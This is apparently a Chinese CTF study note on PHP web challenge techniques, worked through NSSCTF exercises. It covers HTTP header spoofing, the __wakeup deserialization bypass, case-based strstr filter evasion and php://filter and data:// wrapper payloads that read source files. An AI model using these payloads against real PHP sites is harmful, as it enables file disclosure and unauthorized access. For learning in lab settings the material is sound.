目录
1、HTTP头注入
User-Agent:使服务器能够识别用户的操作系统,浏览器版本等
Cookie:网站为了辨别用户身份进行session跟踪
X-Forwarded-For:简称XFF头,代表HTTP端真实的ip(修改XFF头可以实现IP伪造)
Rerferer:浏览器向web服务器表明自己的页面来源
Host:指定用户自己想访问的web服务器的域名,IP,端口
例题:nssctf:[SWPUCTF 2021 新生赛]Do_you_know_http
2、wake up函数绕过
_wakeup魔术方法在执行反序列化时,会被优先调用,而不会调用_construct方法
绕过方法:序列化字符串中表示对象属性个数的值大于真实属性的个数时,就会跳过_wakeup的执行
比如·:
O:6:"people":3:{s:4:"name";s:6:"张三";s:3:"age";s:2:"18"}
people 后面的值 3 大于真实属性个数 2,在反序列化时不执行 __wakeup。并且此时,反序列化会立刻强制触发 __destruct() 。
例题:nssctf:[SWPUCTF 2021 新生赛]no_wakeup
3、strstr函数的绕过
strstr函数匹配时要区分大小写,所以可以用大小写绕过
如:strstr($page, "php://")
PHP就不会被过滤掉
4、析构函数和构造函数
__construct()构造函数,它是在实例化一个对象(即new时)会自动调用
__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。
例题:nssctf:NSSCTF | 在线CTF平台
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
构造:
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;
5、json_encode与json_decode
json_encode:
主要用来将数组和对象转化为json格式。
(1)将数组转化为json格式:
代码:
$arr = array ('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
echo json_encode($arr);
输出如下:
{"a":1,"b":2,"c":3,"d":4,"e":5}
(2)将对象转化为json格式:
代码:
$test->site = 'ido321.com';
$test->id = 22;
$test->name = 'dwqs';
echo json_encode($test);
输出如下:
{
"site":"ido321.com",
"id":22,
"name":"dwqs",
}
json_decode:
将json格式转化为数组的格式
代码:
$arr = Array('one', 'two', 'three');
echo json_encode($arr);
结果:
["one","two","three"]
判断条件是if ($id=="wllmNB"&&$json['x']=="wllm")
我们只需使json['x']的值为wllm,id=wllmNB即可,编写php脚本:
<?php
$arr = array('x'=>'wllm');
$json = json_encode($arr);
echo($json)
?>
输出结果:
{"x":"wllm"}
拿到flag
6、php伪协议
练习例题:NSSCTF | 在线CTF平台
php://filter读取文件
打开可以看到url栏中有个参数wllm,我们要访问hint.php文件,于是可以考虑用php伪协议来读取该文件
构造payload:
wllm=php://filter/read/convert.base64-encode/resource=hint.php
就可以看到多了一串base编码
解码得:
<?php
//go to /test2222222222222.php
?>
访问该文件,即可看到php代码:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
file_get_contents()函数
该函数用于读取文件
(file_get_contents($a,'r') === 'I want flag'表示以只读的形式打开文件a,并且判断a的内容是否等于“I want flag”,可知我们只要以get的方式将“I want flag”传入a中,就可拿到flag
data://协议
和php;//filter类似,构造payload:
?a=data://text/plain,I want flag
拿到flag